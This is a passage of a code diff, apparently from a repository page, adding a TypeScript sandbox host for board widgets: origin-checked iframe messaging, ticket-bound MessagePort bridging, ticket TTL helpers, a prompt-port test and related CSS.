sandboxOrigin: string;
|
||||
sandboxUrl: string;
|
||||
sourceOrigin: string;
|
||||
client?: BoardWidgetBridgeGatewayClient;
|
||||
resolveFrameUrl: BoardWidgetFrameUrl;
|
||||
confirmPrompt: (text: string) => boolean;
|
||||
onFrameUrl: (url: string) => void;
|
||||
onLoadFailed: (widget: BoardViewWidget) => void;
|
||||
onUnauthorized: (widget: BoardViewWidget) => void;
|
||||
onReadyTimeout: () => void;
|
||||
onLoaded: () => void;
|
||||
onError: (error: unknown) => void;
|
||||
};
|
||||
|
||||
/** Owns one trusted outer sandbox frame and its ticket-bound inner widget bridge. */
|
||||
export class BoardWidgetSandboxHost {
|
||||
private options: BoardWidgetSandboxHostOptions;
|
||||
private bridgeController: BoardWidgetBridgeController | null = null;
|
||||
private bridgeClient: BoardWidgetBridgeGatewayClient | undefined;
|
||||
private bridgePort: MessagePort | null = null;
|
||||
private adoptedTicket = "";
|
||||
private offeredTicket = "";
|
||||
private ready = false;
|
||||
private readyTimer: number | null = null;
|
||||
private loadedDocumentKey = "";
|
||||
private loadGeneration = 0;
|
||||
private requestGeneration = 0;
|
||||
private readonly pendingRequests = new Map<string, number>();
|
||||
|
||||
constructor(options: BoardWidgetSandboxHostOptions) {
|
||||
this.options = options;
|
||||
this.scheduleReadyTimeout();
|
||||
}
|
||||
|
||||
get frame(): HTMLIFrameElement {
|
||||
return this.options.frame;
|
||||
}
|
||||
|
||||
update(options: BoardWidgetSandboxHostOptions): void {
|
||||
const previousClient = this.options.client;
|
||||
const previousDocumentKey = this.documentKey();
|
||||
const previousSandboxUrl = this.options.sandboxUrl;
|
||||
this.options = options;
|
||||
const documentChanged = previousDocumentKey !== this.documentKey();
|
||||
const sandboxChanged = previousSandboxUrl !== options.sandboxUrl;
|
||||
if (documentChanged || sandboxChanged) {
|
||||
// A document revision is also an authorization revision. Invalidate both
|
||||
// its pending responses and per-document bridge state before loading it.
|
||||
this.reset();
|
||||
this.bridgeController = null;
|
||||
this.bridgeClient = undefined;
|
||||
}
|
||||
if (sandboxChanged) {
|
||||
// A CSP change navigates the outer proxy. Wait for that exact navigation
|
||||
// before sending bytes so they can never run under the prior policy.
|
||||
this.ready = false;
|
||||
this.scheduleReadyTimeout();
|
||||
}
|
||||
if (previousClient !== options.client) {
|
||||
// A reconnect can swap authenticated Gateway identity without changing
|
||||
// the widget document. Settle the wrapper promises without allowing a
|
||||
// result from the prior authenticated client to cross the new boundary.
|
||||
this.cancelPendingRequests("Gateway connection changed");
|
||||
this.requestGeneration += 1;
|
||||
this.bridgeController = null;
|
||||
this.bridgeClient = undefined;
|
||||
}
|
||||
if (options.widget.viewTicket && !documentChanged) {
|
||||
if (this.adoptedTicket) {
|
||||
this.bridgeController?.updateIdentity(options.frame, this.adoptedTicket);
|
||||
}
|
||||
this.postHostInit();
|
||||
}
|
||||
if (this.ready && this.documentKey() !== this.loadedDocumentKey) {
|
||||
void this.loadDocument();
|
||||
}
|
||||
}
|
||||
|
||||
reset(): void {
|
||||
this.loadGeneration += 1;
|
||||
this.requestGeneration += 1;
|
||||
this.pendingRequests.clear();
|
||||
this.loadedDocumentKey = "";
|
||||
this.bridgePort?.close();
|
||||
this.bridgePort = null;
|
||||
this.adoptedTicket = "";
|
||||
this.offeredTicket = "";
|
||||
}
|
||||
|
||||
dispose(): void {
|
||||
this.clearReadyTimeout();
|
||||
this.reset();
|
||||
this.ready = false;
|
||||
this.bridgeController = null;
|
||||
this.bridgeClient = undefined;
|
||||
}
|
||||
|
||||
accepts(event: MessageEvent): boolean {
|
||||
return (
|
||||
event.source === this.options.frame.contentWindow &&
|
||||
event.origin === this.options.sandboxOrigin
|
||||
);
|
||||
}
|
||||
|
||||
handleFrameError(): void {
|
||||
if (this.ready || !this.options.frame.isConnected) {
|
||||
return;
|
||||
}
|
||||
this.clearReadyTimeout();
|
||||
this.retrySandboxFrame();
|
||||
}
|
||||
|
||||
handleMessage(event: MessageEvent): void {
|
||||
if (!this.accepts(event)) {
|
||||
return;
|
||||
}
|
||||
if (
|
||||
event.data?.method === "ui/notifications/sandbox-proxy-ready" &&
|
||||
event.data?.params?.sandboxUrl === this.options.sandboxUrl
|
||||
) {
|
||||
this.ready = true;
|
||||
this.clearReadyTimeout();
|
||||
void this.loadDocument();
|
||||
return;
|
||||
}
|
||||
if (!this.ready) {
|
||||
return;
|
||||
}
|
||||
if (event.data?.type === "openclaw:widget-bridge-port-offer") {
|
||||
const port = event.ports[0];
|
||||
if (!port || this.bridgePort) {
|
||||
port?.close();
|
||||
return;
|
||||
}
|
||||
this.bridgePort = port;
|
||||
port.addEventListener("message", (bridgeEvent) => {
|
||||
this.handleBridgeMessage(bridgeEvent.data);
|
||||
});
|
||||
port.start();
|
||||
this.postHostInit();
|
||||
return;
|
||||
}
|
||||
if (event.data?.type === "openclaw:widget-bridge-ready") {
|
||||
this.postHostInit();
|
||||
}
|
||||
// Requests on the forgeable window channel never carry authority. The
|
||||
// trusted outer proxy adopts only the wrapper's first private MessagePort.
|
||||
}
|
||||
|
||||
private handleBridgeMessage(data: unknown): void {
|
||||
if (
|
||||
data &&
|
||||
typeof data === "object" &&
|
||||
Reflect.get(data, "type") === "openclaw:widget-host-init-ack" &&
|
||||
typeof Reflect.get(data, "ticket") === "string"
|
||||
) {
|
||||
const ticket = Reflect.get(data, "ticket") as string;
|
||||
if (ticket !== this.offeredTicket) {
|
||||
return;
|
||||
}
|
||||
// The wrapper posts this acknowledgment before any request that uses the
|
||||
// new ticket. MessagePort ordering therefore closes the renewal gap while
|
||||
// allowing earlier requests to finish on the still-valid prior ticket.
|
||||
this.offeredTicket = "";
|
||||
this.adoptedTicket = ticket;
|
||||
this.bridgeController?.updateIdentity(this.options.frame, ticket);
|
||||
this.postHostInit();
|
||||
return;
|
||||
}
|
||||
this.handleBridgeRequest(data);
|
||||
}
|
||||
|
||||
private handleBridgeRequest(data: unknown): void {
|
||||
if (!this.ready || !isBoardWidgetBridgeRequest(data)) {
|
||||
return;
|
||||
}
|
||||
const client = this.options.client;
|
||||
const ticket = this.adoptedTicket;
|
||||
if (!client || !ticket) {
|
||||
this.postResponse(data.id, false, undefined, "Gateway unavailable");
|
||||
return;
|
||||
}
|
||||
if (!this.bridgeController || this.bridgeClient !== client) {
|
||||
this.bridgeClient = client;
|
||||
this.bridgeController = new BoardWidgetBridgeController({
|
||||
frame: this.options.frame,
|
||||
ticket,
|
||||
client,
|
||||
// The source path scopes equal-name widgets to their board session;
|
||||
// view generation keeps delete/recreate isolated without splitting
|
||||
// routine ticket renewals into fresh prompt budgets.
|
||||
rateKey: this.documentKey(),
|
||||
confirmPrompt: this.options.confirmPrompt,
|
||||
});
|
||||
} else {
|
||||
this.bridgeController.updateIdentity(this.options.frame, ticket);
|
||||
}
|
||||
const generation = this.requestGeneration;
|
||||
const frame = this.options.frame;
|
||||
this.pendingRequests.set(data.id, generation);
|
||||
void this.bridgeController
|
||||
.handle(data, {
|
||||
// Only the injected wrapper owns this port, and it posts prompt
|
||||
// requests only while its inner-frame user activation is live.
|
||||
promptUserActivated: data.method === "prompt.send",
|
||||
isCurrent: () => generation === this.requestGeneration && frame === this.options.frame,
|
||||
})
|
||||
.then((result) => {
|
||||
this.completeRequest(data.id, generation, true, result);
|
||||
})
|
||||
.catch((error: unknown) => {
|
||||
this.completeRequest(
|
||||
data.id,
|
||||
generation,
|
||||
false,
|
||||
undefined,
|
||||
error instanceof Error ? error.message : String(error),
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
private completeRequest(
|
||||
id: string,
|
||||
generation: number,
|
||||
ok: boolean,
|
||||
result?: unknown,
|
||||
error?: string,
|
||||
): void {
|
||||
if (generation !== this.requestGeneration || this.pendingRequests.get(id) !== generation) {
|
||||
return;
|
||||
}
|
||||
this.pendingRequests.delete(id);
|
||||
this.postResponse(id, ok, result, error);
|
||||
}
|
||||
|
||||
private cancelPendingRequests(error: string): void {
|
||||
for (const [id, generation] of this.pendingRequests) {
|
||||
if (generation === this.requestGeneration) {
|
||||
this.postResponse(id, false, undefined, error);
|
||||
}
|
||||
}
|
||||
this.pendingRequests.clear();
|
||||
}
|
||||
|
||||
private clearReadyTimeout(): void {
|
||||
if (this.readyTimer !== null) {
|
||||
window.clearTimeout(this.readyTimer);
|
||||
this.readyTimer = null;
|
||||
}
|
||||
}
|
||||
|
||||
private scheduleReadyTimeout(): void {
|
||||
if (this.ready || this.readyTimer !== null) {
|
||||
return;
|
||||
}
|
||||
this.readyTimer = window.setTimeout(() => {
|
||||
this.readyTimer = null;
|
||||
if (this.ready || !this.options.frame.isConnected) {
|
||||
return;
|
||||
}
|
||||
// Browsers do not expose iframe HTTP failures through `error`. Bound the
|
||||
// proxy handshake so an unavailable adjacent listener cannot stay blank.
|
||||
this.retrySandboxFrame();
|
||||
}, SANDBOX_READY_TIMEOUT_MS);
|
||||
}
|
||||
|
||||
private retrySandboxFrame(): void {
|
||||
const { frame, sandboxUrl } = this.options;
|
||||
if (!frame.isConnected) {
|
||||
return;
|
||||
}
|
||||
this.ready = false;
|
||||
this.reset();
|
||||
// Assigning the current URL again starts a real navigation. Refreshing only
|
||||
// the ticket cannot recover an outer proxy load that never reached ready.
|
||||
frame.src = sandboxUrl;
|
||||
this.options.onReadyTimeout();
|
||||
this.scheduleReadyTimeout();
|
||||
}
|
||||
|
||||
private documentKey(): string {
|
||||
const sourceUrl = this.options.resolveFrameUrl(
|
||||
this.options.widget.name,
|
||||
this.options.widget.revision,
|
||||
);
|
||||
const sourceIdentity = sourceUrl.split(/[?#]/u, 1)[0];
|
||||
// Ticket renewal keeps the same generation, while delete/recreate gets a
|
||||
// new one even if the name, source path, bytes, and revision are reused.
|
||||
const generation = this.options.widget.viewGeneration ?? this.options.widget.viewTicket ?? "";
|
||||
return `${sourceIdentity}\0${this.options.widget.revision}\0${generation}`;
|
||||
}
|
||||
|
||||
private postHostInit(): void {
|
||||
const ticket = this.options.widget.viewTicket;
|
||||
if (
|
||||
!this.ready ||
|
||||
!this.bridgePort ||
|
||||
!ticket ||
|
||||
this.loadedDocumentKey !== this.documentKey() ||
|
||||
ticket === this.adoptedTicket ||
|
||||
this.offeredTicket !== ""
|
||||
) {
|
||||
return;
|
||||
}
|
||||
this.offeredTicket = ticket;
|
||||
this.bridgePort.postMessage({ type: "openclaw:widget-host-init", ticket }, []);
|
||||
}
|
||||
|
||||
private async loadDocument(): Promise<void> {
|
||||
const { frame, widget, resolveFrameUrl } = this.options;
|
||||
if (!frame.contentWindow) {
|
||||
return;
|
||||
}
|
||||
const unresolvedSourceUrl = resolveFrameUrl(widget.name, widget.revision);
|
||||
let sourceUrl: URL;
|
||||
try {
|
||||
sourceUrl = new URL(unresolvedSourceUrl, this.options.sourceOrigin);
|
||||
} catch (error) {
|
||||
this.options.onError(error);
|
||||
return;
|
||||
}
|
||||
if (sourceUrl.origin !== this.options.sourceOrigin) {
|
||||
this.options.onError(new Error("widget content URL is outside the active Gateway"));
|
||||
return;
|
||||
}
|
||||
const sourceHref = sourceUrl.href;
|
||||
this.options.onFrameUrl(sourceHref);
|
||||
const generation = ++this.loadGeneration;
|
||||
try {
|
||||
const response = await fetch(sourceHref, { cache: "no-store" });
|
||||
if (generation !== this.loadGeneration || !frame.isConnected) {
|
||||
return;
|
||||
}
|
||||
if (response.status === 401) {
|
||||
this.options.onUnauthorized(widget);
|
||||
return;
|
||||
}
|
||||
if (!response.ok) {
|
||||
throw new Error(`widget content request failed (${response.status})`);
|
||||
}
|
||||
const documentHtml = await response.text();
|
||||
if (generation !== this.loadGeneration || !frame.isConnected) {
|
||||
return;
|
||||
}
|
||||
frame.contentWindow?.postMessage(
|
||||
{
|
||||
jsonrpc: "2.0",
|
||||
method: "ui/notifications/sandbox-resource-ready",
|
||||
params: { html: documentHtml },
|
||||
},
|
||||
this.options.sandboxOrigin,
|
||||
);
|
||||
this.loadedDocumentKey = this.documentKey();
|
||||
this.options.onLoaded();
|
||||
// The wrapper may offer its private port while the source fetch is still
|
||||
// pending. Complete the handshake once these exact bytes become current.
|
||||
this.postHostInit();
|
||||
} catch {
|
||||
if (generation === this.loadGeneration) {
|
||||
this.options.onLoadFailed(widget);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private postResponse(id: string, ok: boolean, result?: unknown, error?: string): void {
|
||||
this.bridgePort?.postMessage({
|
||||
type: "openclaw:widget-bridge-response",
|
||||
id,
|
||||
ok,
|
||||
...(ok ? { result } : { error: error ?? "widget host request failed" }),
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
import type { BoardWidget } from "@openclaw/gateway-protocol";
|
||||
|
||||
type BoardWidgetTicketIdentity = object & Pick<BoardWidget, "viewTicket" | "viewTicketTtlMs">;
|
||||
|
||||
const ticketReceivedAtMs = new WeakMap<BoardWidgetTicketIdentity, number>();
|
||||
|
||||
export function recordBoardWidgetTicketReceipt(
|
||||
widget: BoardWidgetTicketIdentity,
|
||||
receivedAtMs = Date.now(),
|
||||
): void {
|
||||
if (widget.viewTicket && widget.viewTicketTtlMs) {
|
||||
ticketReceivedAtMs.set(widget, receivedAtMs);
|
||||
}
|
||||
}
|
||||
|
||||
export function copyBoardWidgetTicketReceipt(
|
||||
widget: BoardWidgetTicketIdentity,
|
||||
previous: BoardWidgetTicketIdentity,
|
||||
fallbackReceivedAtMs = Date.now(),
|
||||
): void {
|
||||
if (widget.viewTicket && widget.viewTicketTtlMs) {
|
||||
ticketReceivedAtMs.set(widget, ticketReceivedAtMs.get(previous) ?? fallbackReceivedAtMs);
|
||||
}
|
||||
}
|
||||
|
||||
export function remainingBoardWidgetTicketTtlMs(
|
||||
widget: BoardWidgetTicketIdentity,
|
||||
nowMs = Date.now(),
|
||||
): number | undefined {
|
||||
const ttlMs = widget.viewTicketTtlMs;
|
||||
if (!widget.viewTicket || !ttlMs) {
|
||||
return undefined;
|
||||
}
|
||||
const receivedAtMs = ticketReceivedAtMs.get(widget);
|
||||
return receivedAtMs === undefined ? ttlMs : Math.max(0, ttlMs - (nowMs - receivedAtMs));
|
||||
}
|
||||
@@ -86,7 +86,12 @@ describe("widget prompts", () => {
|
||||
);
|
||||
// The bridge posts its offer at parse time, before the frame's load event.
|
||||
const port = offerPromptPort(frame);
|
||||
const hostMessages: unknown[] = [];
|
||||
port.addEventListener("message", (event) => hostMessages.push(event.data));
|
||||
port.start();
|
||||
frame.dispatchEvent(new Event("load"));
|
||||
await flushPorts();
|
||||
expect(hostMessages).toContainEqual({ type: "openclaw:widget-prompt-host-ready" });
|
||||
emulateInteractableFrame(frame);
|
||||
const received = collectPromptEvents(container);
|
||||
try {
|
||||
|
||||
@@ -133,6 +133,7 @@ function isManagedCanvasDocumentPreview(preview: ToolPreview): boolean {
|
||||
const WIDGET_SIZE_MESSAGE_TYPE = "openclaw:widget-size";
|
||||
const WIDGET_PROMPT_OFFER_MESSAGE_TYPE = "openclaw:widget-prompt-offer";
|
||||
const WIDGET_PROMPT_MESSAGE_TYPE = "openclaw:widget-prompt";
|
||||
const WIDGET_PROMPT_HOST_READY_MESSAGE_TYPE = "openclaw:widget-prompt-host-ready";
|
||||
const WIDGET_FRAME_MIN_HEIGHT = 160;
|
||||
const WIDGET_FRAME_MAX_HEIGHT = 1200;
|
||||
// Preview frames render inside lit shadow roots, so a document query cannot
|
||||
@@ -205,6 +206,9 @@ function tryAdoptWidgetPromptPort(frame: HTMLIFrameElement) {
|
||||
handleWidgetPromptMessage(frame, message.data);
|
||||
});
|
||||
port.start();
|
||||
// The wrapper waits for this trusted adoption signal before using the
|
||||
// legacy inline channel, so board widgets can wait for their view ticket.
|
||||
port.postMessage({ type: WIDGET_PROMPT_HOST_READY_MESSAGE_TYPE });
|
||||
}
|
||||
|
||||
function installWidgetPromptOfferListener() {
|
||||
|
||||
@@ -498,6 +498,37 @@ openclaw-board-widget-cell {
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.board-widget__grant-groups {
|
||||
display: grid;
|
||||
gap: 8px;
|
||||
max-width: 100%;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.board-widget__grant-groups section {
|
||||
display: grid;
|
||||
gap: 3px;
|
||||
}
|
||||
|
||||
.board-widget__grant-groups section > strong {
|
||||
color: var(--text, #d7dae0);
|
||||
font-size: 10px;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.board-widget__capabilities {
|
||||
background: color-mix(in srgb, var(--success, #4fbf78) 13%, transparent);
|
||||
border: 1px solid color-mix(in srgb, var(--success, #4fbf78) 45%, transparent);
|
||||
border-radius: 999px;
|
||||
color: var(--success, #4fbf78);
|
||||
display: inline-flex;
|
||||
font-size: 9px;
|
||||
font-weight: 650;
|
||||
line-height: 1;
|
||||
padding: 3px 6px;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.board-widget__grant-mark {
|
||||
align-items: center;
|
||||
background: color-mix(in srgb, var(--warning, #e6ad55) 15%, transparent);
|
||||
|
||||
Reference in New Issue
Block a user